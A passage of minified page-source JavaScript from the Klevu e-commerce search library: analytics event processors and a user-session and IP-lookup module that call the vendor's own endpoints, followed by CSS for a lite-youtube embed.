e.getObjectPath(t, "data.items.0", {}), 2184 n = { 2185 klevu_src: e.getObjectPath(t, "data.meta.src", ""), 2186 klevu_source: e.getObjectPath(t, "data.meta.source", ""), 2187 klevu_recentsearch: e.getObjectPath(t, "data.meta.recentsearch", "") 2188 }; 2189 n.klevu_productId = e.getObjectPath(a, "id", 0), e.getObjectPath(a, "itemGroupId", !1) && (n.klevu_productGroupId = e.getObjectPath(a, "itemGroupId", !1)), n.klevu_productVariantId = e.getObjectPath(a, "variantId", !1), n.klevu_productName = e.getObjectPath(a, "name", !1), n.klevu_productUrl = e.getObjectPath(a, "url", !1), n.klevu_rank = e.getObjectPath(t, "data.meta.rank", ""), s.id = e.getObjectPath(a, "id", 0); 2190 let i, r = e.getObjectPath(t, "scope", "").split(","); 2191 s.payload = n, s.type = "personalised_product_click", i = e.analytics.processors.helpers.buildAnalyticsEvent(s), e.analytics.utility.addAnalyticsEventsToStorage(i), e.each(r, (function(e, t) { 2192 t 2193 })) 2194 }, 2195 view: function(e) {}, 2196 buy: function(e) {} 2197 }, 2198 search: { 2199 term: function(t) { 2200 let s = { 2201 type: "search_term", 2202 eventSource: t, 2203 payload: {} 2204 }, 2205 a = e.getObjectPath(t, "data.meta.tags", []); 2206 e.each(a, (function(e, t) { 2207 a[e] = encodeURIComponent(t) 2208 })); 2209 let n = { 2210 klevu_term: e.getObjectPath(t, "data.meta.searchedTerm", "*"), 2211 klevu_originalTerm: e.getObjectPath(t, "data.meta.originalTerm", ""), 2212 klevu_pageNumber: e.getObjectPath(t, "data.meta.pageNumber", ""), 2213 klevu_src: e.getObjectPath(t, "data.meta.src", ""), 2214 klevu_limit: e.getObjectPath(t, "data.meta.limit", ""), 2215 klevu_sort: e.getObjectPath(t, "data.meta.sort", ""), 2216 klevu_totalResults: e.getObjectPath(t, "data.meta.totalResults", "0"), 2217 klevu_typeOfQuery: e.getObjectPath(t, "data.meta.typeOfQuery", "WILDCARD_AND"), 2218 tags: a 2219 }; 2220 if (e.support.isActive("user")) { 2221 let t = e.user.getIpData(); 2222 e.isUndefined(t.ipv4) || (n.klevu_shopperIP_v4 = t.ipv4), e.isUndefined(t.ipv6) || (n.klevu_shopperIP_v6 = t.ipv6), e.isUndefined(t.uuid) || (n.klevu_uuid = t.uuid) 2223 } 2224 e.support.isActive("core.dataProtection") && (n.data_protection = e.dataProtection.dataCanBeTracked()); 2225 let i = !1, 2226 r = e.getObjectPath(t, "scope", "").split(","); 2227 e.each(r, (function(s, a) { 2228 switch (a) { 2229 case "quick": 2230 i = !0, e.getObjectPath(t, "data.filters.activeFilters", !1) && (n.klevu_term += " [[" + e.getObjectPath(t, "data.filters.activeFiltersString", "") + "]]"), n.klevu_src = n.klevu_src.replace("]]", ";;template:quick-search]]"); 2231 break; 2232 case "landing": 2233 n.klevu_src = n.klevu_src.replace("]]", ";;template:landing]]"), e.getObjectPath(t, "data.filters.activeFilters", !1) && (n.klevu_term += " [[" + e.getObjectPath(t, "data.filters.activeFiltersString", "") + "]]", n.klevu_src = n.klevu_src.replace("]]", ";;source:filters]]")) 2234 } 2235 })), s.payload = n; 2236 let c = e.analytics.processors.helpers.buildAnalyticsEvent(s); 2237 e.analytics.utility.addAnalyticsEventsToStorage(c), e.analytics.utility.sendAnalyticsEventsFromStorage(), !e.isUndefined(e.analyticsUtil.base) && e.isFunction(e.analyticsUtil.base.sendGaDataForTerm) && i && !e.support.isActive("analytics.gtmProcessor") && e.analyticsUtil.base.sendGaDataForTerm(n) 2238 } 2239 }, 2240 catNav: { 2241 view: function(t) { 2242 let s = { 2243 type: "catnav_view", 2244 eventSource: t, 2245 payload: {} 2246 }, 2247 a = { 2248 klevu_categoryName: e.getObjectPath(t, "data.meta.categoryName", ""), 2249 klevu_categoryPath: e.getObjectPath(t, "data.meta.categoryPath", ""), 2250 klevu_pageNumber: e.getObjectPath(t, "data.meta.pageNumber", ""), 2251 klevu_src: e.getObjectPath(t, "data.meta.src", ""), 2252 klevu_limit: e.getObjectPath(t, "data.meta.limit", ""), 2253 klevu_sort: e.getObjectPath(t, "data.meta.sort", ""), 2254 klevu_totalResults: e.getObjectPath(t, "data.meta.totalResults", "0"), 2255 klevu_typeOfQuery: e.getObjectPath(t, "data.meta.typeOfQuery", "WILDCARD_AND") 2256 }; 2257 if (e.support.isActive("user")) { 2258 let t = e.user.getIpData(); 2259 e.isUndefined(t.ipv4) || (a.klevu_shopperIP_v4 = t.ipv4), e.isUndefined(t.ipv6) || (a.klevu_shopperIP_v6 = t.ipv6), e.isUndefined(t.uuid) || (a.klevu_uuid = t.uuid) 2260 } 2261 e.support.isActive("core.dataProtection") && (a.data_protection = e.dataProtection.dataCanBeTracked()); 2262 let n = e.getObjectPath(t, "data.items", []); 2263 if (n.length > 0) { 2264 let t = []; 2265 e.each(n, (function(e, s) { 2266 s.id && t.push(s.id) 2267 })), a.klevu_productIds = t.join(",") 2268 } 2269 let i = e.getObjectPath(t, "scope", "").split(","); 2270 e.each(i, (function(s, n) { 2271 if ("catnav" === n) a.klevu_src = a.klevu_src.replace("]]", ";;template:category]]"), e.getObjectPath(t, "data.filters.activeFilters", !1) && (a.klevu_activeFilters = e.getObjectPath(t, "data.filters.activeFiltersString", ""), a.klevu_src = a.klevu_src.replace("]]", ";;source:filters]]")), a.klevu_abTestId = e.getObjectPath(t, "data.meta.abTestId", ""), a.klevu_abTestVariantId = e.getObjectPath(t, "data.meta.abTestVariantId", ""), a.klevu_abTestSource = e.getObjectPath(t, "data.meta.abTestSource", "") 2272 })), s.payload = a; 2273 let r = e.analytics.processors.helpers.buildAnalyticsEvent(s); 2274 e.analytics.utility.addAnalyticsEventsToStorage(r), e.analytics.utility.sendAnalyticsEventsFromStorage() 2275 } 2276 }, 2277 recs: { 2278 helpers: { 2279 convertEventItems: function(t) { 2280 let s = []; 2281 return e.each(t, (function(t, a) { 2282 s.push({ 2283 item_id: a.id, 2284 item_name: a.name, 2285 price: a.salePrice, 2286 currency: a.currency, 2287 item_brand: a.brand, 2288 item_category: a.category, 2289 item_variant_id: e.isUndefined(a.variantId) ? a.id : a.variantId, 2290 item_group_id: e.isUndefined(a.itemGroupId) || "" === a.itemGroupId ? a.id : a.itemGroupId, 2291 index: t + 1, 2292 quantity: 1 2293 }) 2294 })), s 2295 }, 2296 buildAnalyticsEventData: function(t, s) { 2297 return { 2298 tags: e.getObjectPath(t, "data.general.tags", []), 2299 list_id: e.getObjectPath(t, "data.general.list_id", !1), 2300 list_name: e.getObjectPath(t, "data.general.list_name", !1), 2301 list_logic: e.getObjectPath(t, "data.general.list_logic", !1), 2302 spot_id: e.getObjectPath(t, "data.general.spot_id",
2302!1), 2303 spot_name: e.getObjectPath(t, "data.general.spot_name", !1), 2304 segment_id: e.getObjectPath(t, "data.general.segment_id", !1), 2305 segment_name: e.getObjectPath(t, "data.general.segment_name", !1), 2306 action: e.getObjectPath(t, "data.general.action", !1), 2307 items: s 2308 } 2309 }, 2310 buildAnalyticsEvent: function(t) { 2311 let s = { 2312 event: t.type, 2313 event_apikey: e.getObjectPath(t.eventSource, "apiKey", !1), 2314 user_profile: e.getObjectPath(t.eventSource, "user", {}), 2315 event_data: e.analytics.processors.recs.helpers.buildAnalyticsEventData(t.eventSource, t.items) 2316 }; 2317 if (e.support.isActive("user")) { 2318 let t = e.user.getIpData(); 2319 e.isUndefined(t.ipv4) || (s.user_profile.ip_address_v4 = t.ipv4), e.isUndefined(t.ipv6) || (s.user_profile.ip_address_v6 = t.ipv6), e.isUndefined(t.uuid) || (s.user_profile.klevu_uuid = t.uuid) 2320 } 2321 return e.support.isActive("core.dataProtection") && (s.user_profile.data_protection = e.dataProtection.dataCanBeTracked()), { 2322 payload: s, 2323 type: "collect", 2324 url: e.getGlobalSetting("url.analyticsCollect", "https://stats.ksearchnet.com/analytics/"), 2325 apiKey: e.getObjectPath(t.eventSource, "apiKey", e.getGlobalSetting("search.apiKey", e.getGlobalSetting("global.apiKey"))), 2326 key: t.type + "_" + e.getObjectPath(t.eventSource, "data.general.recs_key", e.randomId()), 2327 override: !0 2328 } 2329 } 2330 }, 2331 click: function(t) { 2332 let s = { 2333 type: "select_recs_list", 2334 eventSource: t, 2335 items: [] 2336 }, 2337 a = e.getObjectPath(t, "data.items", []); 2338 if (a && a.length && (s.items = e.analytics.processors.recs.helpers.convertEventItems(a)), e.analytics.utility.hasAnalyticsEventByName(s.type + "_" + e.getObjectPath(t, "data.general.recs_key", e.randomId()))) { 2339 let a = e.analytics.utility.getAnalyticsEventByName(s.type + "_" + e.getObjectPath(t, "data.general.recs_key", e.randomId())), 2340 n = e.getObjectPath(a, "payload.items", []); 2341 n.length > 0 && (s.items = e.toUniqueArray(e.makeArray(n, s.items))) 2342 } 2343 let n = e.analytics.processors.recs.helpers.buildAnalyticsEvent(s); 2344 n.override = !0, s.items.length > 0 && e.analytics.utility.addAnalyticsEventsToStorage(n) 2345 }, 2346 view: function(t) { 2347 let s = { 2348 type: "view_recs_list", 2349 eventSource: t, 2350 items: [] 2351 }, 2352 a = e.getObjectPath(t, "data.items", []); 2353 a && a.length && (s.items = e.analytics.processors.recs.helpers.convertEventItems(a)); 2354 let n = e.analytics.processors.recs.helpers.buildAnalyticsEvent(s); 2355 s.items.length > 0 && e.analytics.utility.addAnalyticsEventsToStorage(n), s.items.length > 0 && e.analytics.utility.sendAnalyticsEventsFromStorage() 2356 }, 2357 staticView: function(t) { 2358 let s = { 2359 type: "view_recs_list", 2360 eventSource: t, 2361 static_content: [] 2362 }, 2363 a = e.analytics.processors.recs.helpers.buildAnalyticsEvent(s), 2364 n = e.getObjectPath(t, "data.activeStaticContent", []); 2365 a.payload.event_data.static_content = n, a.payload.event_data.static_content.length && (e.analytics.utility.addAnalyticsEventsToStorage(a), e.analytics.utility.sendAnalyticsEventsFromStorage()) 2366 }, 2367 staticClick: function(t) { 2368 let s = { 2369 type: "select_recs_list", 2370 eventSource: t, 2371 static_content: [] 2372 }, 2373 a = e.analytics.processors.recs.helpers.buildAnalyticsEvent(s); 2374 a.payload.event_data.static_content = e.getObjectPath(s, "eventSource.data.staticContent", []), e.analytics.utility.addAnalyticsEventsToStorage(a) 2375 } 2376 }, 2377 general: { 2378 bannerClick: function(e) {} 2379 } 2380 } 2381 }), e.analytics.collector.registerObserver({ 2382 name: "analytics", 2383 processOld: !0, 2384 eventTypes: ["recommendation_view"], 2385 processor: e.analytics.processors.recs.view 2386 }), e.analytics.collector.registerObserver({ 2387 name: "analytics", 2388 processOld: !0, 2389 eventTypes: ["recommendation_click"], 2390 processor: e.analytics.processors.recs.click 2391 }), e.analytics.collector.registerObserver({ 2392 name: "analytics", 2393 processOld: !0, 2394 eventTypes: ["search_term"], 2395 processor: e.analytics.processors.search.term 2396 }), e.analytics.collector.registerObserver({ 2397 name: "analytics", 2398 processOld: !0, 2399 eventTypes: ["search_catview"], 2400 processor: e.analytics.processors.catNav.view 2401 }), e.analytics.collector.registerObserver({ 2402 name: "analytics", 2403 processOld: !0, 2404 eventTypes: ["search_product_click"], 2405 processor: e.analytics.processors.product.click 2406 }), e.analytics.collector.registerObserver({ 2407 name: "analytics", 2408 processOld: !0, 2409 eventTypes: ["personalised_product_click"], 2410 processor: e.analytics.processors.product.personalisedClick 2411 }), e.analytics.collector.registerObserver({ 2412 name: "analytics", 2413 processOld: !0, 2414 eventTypes: ["recommendation_view_static"], 2415 processor: e.analytics.processors.recs.staticView 2416 }), e.analytics.collector.registerObserver({ 2417 name: "analytics", 2418 processOld: !0, 2419 eventTypes: ["recommendation_click_static"], 2420 processor: e.analytics.processors.recs.staticClick 2421 }), e.support.register({ 2422 name: "analytics.processors", 2423 loaded: !0, 2424 active: !0,
2425 dependency: ["analytics.base", "analytics.collector", "analytics.extractor"] 2426 })) 2427 })) 2428 }(klevu), 2429 function(e) { 2430 e.support.hook(["core.constructors"], (function() { 2431 e.constructors.isLoaded("user") || (e.constructors.add({ 2432 name: "user", 2433 create: function() { 2434 let t = { 2435 settings: { 2436 dictionary: { 2437 user: e.dictionary("user") 2438 }, 2439 request: {}, 2440 response: {}, 2441 user: { 2442 apiKey: !1, 2443 ipv4: !1, 2444 ipv6: !1, 2445 sessionId: !1, 2446 sessionInfo: { 2447 connectorInfo: [] 2448 }, 2449 segmentInfo: { 2450 segments: [] 2451 }, 2452 ipv4: !1, 2453 ipv6: !1, 2454 uuid: !1 2455 }, 2456 general: { 2457 scope: document.createElement("div"), 2458 apiKey: !1, 2459 lastSend: !1, 2460 ipDataLastSend: !1, 2461 connectorInfo: {}, 2462 flags: { 2463 canSend: !0, 2464 forceSend: !1, 2465 isInit: !1, 2466 isInitForce: !1, 2467 isInSend: !1 2468 } 2469 } 2470 }, 2471 webhookSettings: { 2472 run: !0, 2473 object: "user", 2474 scope: "all" 2475 }, 2476 saveToDictionary: function() { 2477 this.settings.user.sessionId && this.settings.dictionary.user.addElement("sessionId", this.settings.user.sessionId); 2478 let t = e.extend(!0, {}, this.settings.user.sessionInfo); 2479 delete t.connectorInfo, this.settings.dictionary.user.addElement("sessionInfo", JSON.stringify(t)), this.settings.dictionary.user.addElement("connectorInfo", JSON.stringify(this.settings.general.connectorInfo)), this.settings.dictionary.user.addElement("segmentInfo", JSON.stringify(this.settings.user.segmentInfo)), this.settings.dictionary.user.addElement("segments", JSON.stringify(this.settings.user.segmentInfo.segments)), this.settings.dictionary.user.addElement("lastSend", JSON.stringify(this.settings.general.lastSend)), this.settings.dictionary.user.addElement("ipv4", JSON.stringify(this.settings.user.ipv4)), this.settings.dictionary.user.addElement("ipv6", JSON.stringify(this.settings.user.ipv6)), this.settings.dictionary.user.addElement("uuid", JSON.stringify(this.settings.user.uuid)), this.settings.dictionary.user.addElement("lastSendIp", this.settings.general.ipDataLastSend), this.settings.dictionary.user.mergeToGlobal() 2480 }, 2481 getAllSettings: function() { 2482 return this.settings 2483 }, 2484 getScope: function() { 2485 return this 2486 }, 2487 hasData: function(t) { 2488 return !!e.getObjectPath(this.settings, t, !1) 2489 }, 2490 getData: function(t, s) { 2491 return e.isUndefined(s) && (s = !1), e.getObjectPath(this.settings, t, s) 2492 }, 2493 setData: function(t, s) { 2494 return e.setObjectPath(this.settings, t, s), this.saveToDictionary(), this 2495 }, 2496 setApiKey: function(t) { 2497 e.setObjectPath(this.settings, "user.apiKey", t), e.setObjectPath(this.settings, "general.apiKey", t); 2498 let s = this.chains.init; 2499 return e.isUndefined(s) || 0 === s.list().length || (s.setScope(this), s.setData(this.settings), s.fire()), this 2500 }, 2501 getApiKey: function() { 2502 return this.settings.general.apiKey 2503 }, 2504 initIpData: function() { 2505 return this.isIpDataExpired() && this.refreshIpData(), this 2506 }, 2507 refreshIpData: function(s) { 2508 e.isUndefined(s) && (s = "ipv4"); 2509 let a = t, 2510 n = t.settings, 2511 i = e.extend(!0, {}, { 2512 klevu_uuid: a.getIpDataUser() 2513 }), 2514 r = { 2515 context: { 2516 type: s 2517 } 2518 }; 2519 return n.general.scope.userObject = a, r.scope = n.general.scope, r.context.requestObject = { 2520 url: e.getGlobalSetting("url." + s, "https://" + s + "check.ksearchnet.com/"), 2521 type: "FETCH", 2522 method: "POST", 2523 mimeType: "application/json; charset=UTF-8", 2524 contentType: "application/json; charset=utf-8", 2525 dataType: "json", 2526 crossDomain: !0, 2527 data: JSON.stringify(e.clean(i)), 2528 success: function() { 2529 let t, s, a, n; 2530 1 === arguments.length ? (t = arguments[0].responseObj.data, s = arguments[0].requestDetails, a = arguments[0].status, n = arguments[0].isSuccess) : (t = arguments[0], s = arguments[1], a = arguments[2], n = arguments[3]), n && (e.isUndefined(t.ip_address) || s.scope.userObject.setData("user." + s.context.type, t.ip_address), e.isUndefined(t.klevu_uuid) || s.scope.userObject.setData("user.uuid", t.klevu_uuid)), s.scope.userObject.setData("general.ipDataLastSend", e.time.timestamp()), "ipv4" === s.context.type && s.scope.userObject.refreshIpData("ipv6") 2531 }, 2532 error: function() { 2533 let t, s, a; 2534 1 === arguments.length ? (t = arguments[0].requestDetails, s = arguments[0].status, a = arguments[0].isSuccess) : (t = arguments[0], s = arguments[1], a = arguments[2]), t.scope.userObject.setData("general.ipDataLastSend", e.time.timestamp()), "ipv4" === t.context.type && t.scope.userObject.refreshIpData("ipv6") 2535 } 2536 }, r.context.requestDetails = e.extend(!0, {}, r), e.request(r.context.requestObject, r.context.requestDetails), this 2537 }, 2538 getIpData: function() { 2539 return { 2540 ipv4: this.settings.user.ipv4, 2541 ipv6: this.settings.user.ipv6, 2542 uuid: this.getIpDataUser() 2543 } 2544 }, 2545 getIpDataUser: function() { 2546 return this.settings.user.uuid 2547 }, 2548 isIpDataExpired: function() { 2549 let t = e.time.timestamp(); 2550 return !this.settings.general.ipDataLastSend || t - parseInt(this.settings.general.ipDataLastSend) > e.getGlobalSetting("user.ipDataRefresh", 3600) 2551 }, 2552 setWebhookSettings: function(t) { 2553 return e.event.webhook.helpers.setWebhookSettingsForScope(t, this), this 2554 }, 2555 getWebhookSettings: function() { 2556 return e.event.webhook.helpers.getWebhookSettingsForScope(this) 2557 }, 2558 addConnector: function(s, a) { 2559 let n = t.getData("general.connectorInfo." + s, !1), 2560 i = !1; 2561 n ? e.each(a, (function(t, s) { 2562 (e.isUndefined(n[t]) || n[t] != s) && (i = !0) 2563 })) : i = !0, t.setData("general.connectorInfo." + s, a), i && e.user.fetchSessionForce() 2564 }, 2565 getSegments: function() { 2566 let e = t.getData("user.segmentInfo.segments", []); 2567 return 0 !== e.length && e 2568 }, 2569 getSessionId: function() {
2570 return t.getData("user.sessionId", !1) 2571 }, 2572 fetchSession: function() { 2573 if (!t.getApiKey()) return void e.support.hook(["core.logger"], (function() { 2574 e.logger.log("user.core", "warn", "Request can not be made as apiKey is not set") 2575 })); 2576 if (!t.getData("general.canSend", !1)) return void e.support.hook(["core.logger"], (function() { 2577 e.logger.log("user.core", "warn", "Request can not be made as request is stopped") 2578 })); 2579 e.event.webhook.helpers.fireEventForScope({ 2580 webhookSettings: t.webhookSettings, 2581 name: "fetchSession", 2582 action: "before", 2583 data: t.getAllSettings(), 2584 scope: t 2585 }); 2586 let s = t.chains.request; 2587 e.isUndefined(s) || 0 === s.list().length || (s.setScope(t), s.setData(t.settings), s.fire()) 2588 }, 2589 fetchSessionForce: function() { 2590 return t.setData("general.flags.forceSend", !0), t.fetchSession() 2591 }, 2592 chains: e.constructors.get("user").chains 2593 }; 2594 e.event.webhook.helpers.fireEventForScope({ 2595 webhookSettings: t.webhookSettings, 2596 name: "mainObject", 2597 action: "beforeBuild", 2598 data: t.getAllSettings(), 2599 scope: t 2600 }); 2601 let s = t.chains.build; 2602 return e.isUndefined(s) || 0 === s.list().length || (s.setScope(t), s.setData(t.settings), s.fire()), e.event.webhook.helpers.fireEventForScope({ 2603 webhookSettings: t.webhookSettings, 2604 name: "mainObject", 2605 action: "afterBuild", 2606 data: t.getAllSettings(), 2607 scope: t 2608 }), t 2609 }, 2610 chains: { 2611 build: e.chain({ 2612 stopOnFalse: !0, 2613 webhook: { 2614 name: "chains.build" 2615 } 2616 }), 2617 init: e.chain({ 2618 stopOnFalse: !0, 2619 webhook: { 2620 name: "chains.init" 2621 } 2622 }), 2623 request: e.chain({ 2624 stopOnFalse: !0, 2625 webhook: { 2626 name: "chains.request" 2627 } 2628 }), 2629 response: e.chain({ 2630 stopOnFalse: !0, 2631 webhook: { 2632 name: "chains.receive" 2633 } 2634 }) 2635 } 2636 }), e.constructors.get("user").chains.init.add({ 2637 name: "validateReInit", 2638 fire: function(e, t) { 2639 if (!e.general.flags.isInitForce && e.general.flags.isInit) return !1 2640 } 2641 }), e.constructors.get("user").chains.init.add({ 2642 name: "initDictionary", 2643 fire: function(t, s) { 2644 t.dictionary.user = e.dictionary("user_" + t.general.apiKey), t.dictionary.user.setDataProtection(!0), t.dictionary.user.setStorage("local"), t.dictionary.user.mergeFromGlobal() 2645 } 2646 }), e.constructors.get("user").chains.init.add({ 2647 name: "loadDictionaryData", 2648 fire: function(e, t) { 2649 e.user.sessionId = "sessionId" !== e.dictionary.user.getElement("sessionId") && e.dictionary.user.getElement("sessionId"), e.user.sessionInfo = "sessionInfo" !== e.dictionary.user.getElement("sessionInfo") ? JSON.parse(e.dictionary.user.getElement("sessionInfo")) : { 2650 connectorInfo: [] 2651 }, e.general.connectorInfo = "connectorInfo" !== e.dictionary.user.getElement("connectorInfo") ? JSON.parse(e.dictionary.user.getElement("connectorInfo")) : {}, e.user.segmentInfo.segments = "segments" !== e.dictionary.user.getElement("segments") ? JSON.parse(e.dictionary.user.getElement("segments")) : [], e.user.segmentInfo = "segmentInfo" !== e.dictionary.user.getElement("segmentInfo") ? JSON.parse(e.dictionary.user.getElement("segmentInfo")) : { 2652 segments: e.user.segmentInfo.segments 2653 }, e.general.lastSend = "lastSend" !== e.dictionary.user.getElement("lastSend") ? parseInt(e.dictionary.user.getElement("lastSend")) : 0, e.user.ipv4 = "ipv4" !== e.dictionary.user.getElement("ipv4") && JSON.parse(e.dictionary.user.getElement("ipv4")), e.user.ipv6 = "ipv6" !== e.dictionary.user.getElement("ipv6") && JSON.parse(e.dictionary.user.getElement("ipv6")), e.user.uuid = "uuid" !== e.dictionary.user.getElement("uuid") && JSON.parse(e.dictionary.user.getElement("uuid")), e.general.ipDataLastSend = "lastSendIp" !== e.dictionary.user.getElement("lastSendIp") ? parseInt(e.dictionary.user.getElement("lastSendIp")) : 0 2654 } 2655 }), e.constructors.get("user").chains.init.add({ 2656 name: "checkDataProtection", 2657 fire: function(t, s) { 2658 e.dataProtection.dataCanBeTracked() ? s.setData("general.canSend", !0) : (e.support.hook(["core.logger"], (function() { 2659 e.logger.log("user.core", "warn", "Data protection enforced , can not read data, setting the request to be stopped") 2660 })), s.setData("general.canSend", !1)) 2661 } 2662 }), e.constructors.get("user").chains.init.add({ 2663 name: "setInitState", 2664 fire: function(e, t) { 2665 e.general.flags.isInit = !0 2666 } 2667 }), e.constructors.get("user").chains.init.add({ 2668 name: "fetchSession", 2669 fire: function(e, t) { 2670 t.fetchSession() 2671 } 2672 }), e.constructors.get("user").chains.init.add({ 2673 name: "fetchIpData", 2674 fire: function(e, t) { 2675 t.initIpData() 2676 } 2677 }), e.constructors.get("user").chains.request.add({ 2678 name: "checkIfOutOfTimeout", 2679 fire: function(t, s) { 2680 if (e.time.timestamp() - parseInt(t.general.lastSend) < e.getGlobalSetting("user.sessionRefresh", 300) && !t.general.flags.forceSend) return e.supp
2680ort.hook(["core.logger"], (function() { 2681 e.logger.log("user.core", "info", "Request is still valid") 2682 })), !1 2683 } 2684 }), e.constructors.get("user").chains.request.add({ 2685 name: "validateIfOnlyOneSend", 2686 fire: function(t, s) { 2687 if (t.general.flags.isInSend) return setTimeout(e.user.fetchSession, 1e3), !1; 2688 t.general.flags.isInSend = !0 2689 } 2690 }), e.constructors.get("user").chains.request.add({ 2691 name: "moveConnectorInfo", 2692 fire: function(t, s) { 2693 t.user.sessionInfo.connectorInfo = [], e.each(t.general.connectorInfo, (function(e, s) { 2694 t.user.sessionInfo.connectorInfo.push(s) 2695 })) 2696 } 2697 }), e.constructors.get("user").chains.request.add({ 2698 name: "resetData", 2699 fire: function(e, t) { 2700 e.request = { 2701 context: { 2702 forceSend: t.settings.general.flags.forceSend 2703 } 2704 }, window.fetch ? e.request.method = "FETCH" : e.request.method = "AJAX", e.general.scope.userObject = t, e.request.scope = e.general.scope 2705 } 2706 }), e.constructors.get("user").chains.request.add({ 2707 name: "buildPayload", 2708 fire: function(t, s) { 2709 let a = e.extend(!0, {}, t.user); 2710 e.setObjectPath(a, "segmentInfo", {}), t.request.context.requestObject = { 2711 url: e.getGlobalSetting("url.userSession", "https://visitor.service.ksearchnet.com/public/1.0/") + t.general.apiKey + "/session", 2712 type: t.request.method, 2713 method: "POST", 2714 mimeType: "application/json; charset=UTF-8", 2715 contentType: "application/json; charset=utf-8", 2716 dataType: "json", 2717 crossDomain: !0, 2718 data: JSON.stringify(e.clean(a)), 2719 success: function() { 2720 let t, s, a, n; 2721 1 === arguments.length ? (t = arguments[0].responseObj.data, s = arguments[0].requestDetails, a = arguments[0].status, n = arguments[0].isSuccess) : (t = arguments[0], s = arguments[1], a = arguments[2], n = arguments[3]); 2722 var i = e.getObjectPath(s.scope.userObject, "chains.response"); 2723 e.isUndefined(i) || 0 === i.list().length || (i.setScope(s.scope.userObject), e.setObjectPath(s, "response.data", t), e.setObjectPath(s, "context.status", a), e.setObjectPath(s, "context.isSuccess", n), i.setData(s), i.fire()) 2724 }, 2725 error: function() { 2726 let t, s, a; 2727 1 === arguments.length ? (t = arguments[0].requestDetails, s = arguments[0].status, a = arguments[0].isSuccess) : (t = arguments[0], s = arguments[1], a = arguments[2]); 2728 var n = e.getObjectPath(t.scope.userObject, "chains.response"); 2729 e.isUndefined(n) || 0 === n.list().length || (n.setScope(t.scope.userObject), e.setObjectPath(t, "response.data", {}), e.setObjectPath(t, "context.status", s), e.setObjectPath(t, "context.isSuccess", a), n.setData(t), n.fire()) 2730 } 2731 }, t.request.context.requestDetails = e.extend(!0, {}, t.request) 2732 } 2733 }), e.constructors.get("user").chains.request.add({ 2734 name: "makeRequest", 2735 fire: function(t, s) { 2736 e.request(t.request.context.requestObject, t.request.context.requestDetails) 2737 } 2738 }), e.constructors.get("user").chains.response.add({ 2739 name: "checkResponseCode", 2740 fire: function(e, t) {
2741 if (!e.context.isSuccess) return t.settings.general.flags.isInSend = !1, !1 2742 } 2743 }), e.constructors.get("user").chains.response.add({ 2744 name: "saveReturnData", 2745 fire: function(t, s) { 2746 e.isUndefined(t.response.data.sessionId) || (s.setData("user.sessionId", t.response.data.sessionId), e.isUndefined(t.response.data.segmentInfo) || s.setData("user.segmentInfo", t.response.data.segmentInfo), e.isUndefined(t.response.data.segmentInfo) || e.isUndefined(t.response.data.segmentInfo.ttl) ? s.setData("general.lastSend", e.time.timestamp()) : s.setData("general.lastSend", e.time.timestamp() - e.getGlobalSetting("user.sessionRefresh", 300) + parseInt(t.response.data.segmentInfo.ttl))) 2747 } 2748 }), e.constructors.get("user").chains.response.add({ 2749 name: "saveToDictionary", 2750 fire: function(e, t) { 2751 t.saveToDictionary() 2752 } 2753 }), e.constructors.get("user").chains.response.add({ 2754 name: "markAsComplete", 2755 fire: function(e, t) { 2756 t.settings.general.flags.isInSend = !1, e.context.forceSend && (t.settings.general.flags.forceSend = !1) 2757 } 2758 }), e.constructors.get("user").chains.response.add({ 2759 name: "sendWebhookAfterSessionCall", 2760 fire: function(t, s) { 2761 e.event.webhook.helpers.fireEventForScope({ 2762 webhookSettings: s.webhookSettings, 2763 name: "fetchSession", 2764 action: "after", 2765 data: s.getAllSettings(), 2766 scope: s 2767 }) 2768 } 2769 })) 2770 })), e.support.hook(["user"], (function() { 2771 e.settings.chains.initChain.add({ 2772 name: "userSession", 2773 fire: function(t, s) { 2774 var a = e.getGlobalSetting("search.apiKey", e.getGlobalSetting("recs.apiKey", e.getGlobalSetting("global.apiKey"))), 2775 n = e.dataProtection.dataCanBeTracked(); 2776 if (!e.isUndefined(a) && n) { 2777 var i = e.getGlobalSetting("powerUp.userSession"); 2778 if (!e.isUndefined(i) && !1 === i) return; 2779 if (e.getObjectPath(t, "flags.userSession.build", !1)) return; 2780 e.setObjectPath(t, "flags.userSession.build", !0), e.user.setApiKey(a) 2781 } 2782 } 2783 }) 2784 })), e.support.isActive("user") || (e.extend({ 2785 user: e.constructors.construct("user") 2786 }), e.support.register({ 2787 name: "user", 2788 loaded: !0, 2789 active: !0, 2790 dependency: ["core.lib"] 2791 })) 2792 }(klevu); 2793 </script>
2793 2794 <style> 2795 lite-youtube { 2796 background-color: #000; 2797 position: relative; 2798 display: block; 2799 contain: content; 2800 background-position: center center; 2801 background-size: cover; 2802 cursor: pointer; 2803 max-width: 720px 2804 } 2805 2806 lite-youtube::before { 2807 content: ""; 2808 display: block; 2809 position: absolute; 2810 top: 0; 2811 background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAADGCAYAAAAT+OqFAAAAdklEQVQoz42QQQ7AIAgEF/T/D+kbq/RWAlnQyyazA4aoAB4FsBSA/bFjuF1EOL7VbrIrBuusmrt4ZZORfb6ehbWdnRHEIiITaEUKa5EJqUakRSaEYBJSCY2dEstQY7AuxahwXFrvZmWl2rh4JZ07z9dLtesfNj5q0FU3A5ObbwAAAABJRU5ErkJggg==); 2812 background-position: top; 2813 background-repeat: repeat-x; 2814 height: 60px; 2815 padding-bottom: 50px; 2816 width: 100%; 2817 transition: all .2s cubic-bezier(0, 0, .2, 1) 2818 } 2819 2820 lite-youtube::after { 2821 content: ""; 2822 display: block; 2823 padding-bottom: calc(100% / (16 / 9)) 2824 } 2825 2826 lite-youtube>iframe { 2827 width: 100%; 2828 height: 100%; 2829 position: absolute; 2830 top: 0; 2831 left: 0; 2832 border: 0 2833 } 2834 2835 lite-youtube>.lty-playbtn { 2836 width: 68px; 2837 height: 48px; 2838 position: absolute; 2839 cursor: pointer; 2840 transform: translate3d(-50%, -50%, 0); 2841 top: 50%; 2842 left: 50%; 2843 z-index: 1; 2844 background-color: transparent; 2845 background-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" version="1.1" viewBox="0 0 68 48"><path fill="%23f00" fill-opacity="0.8" d="M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 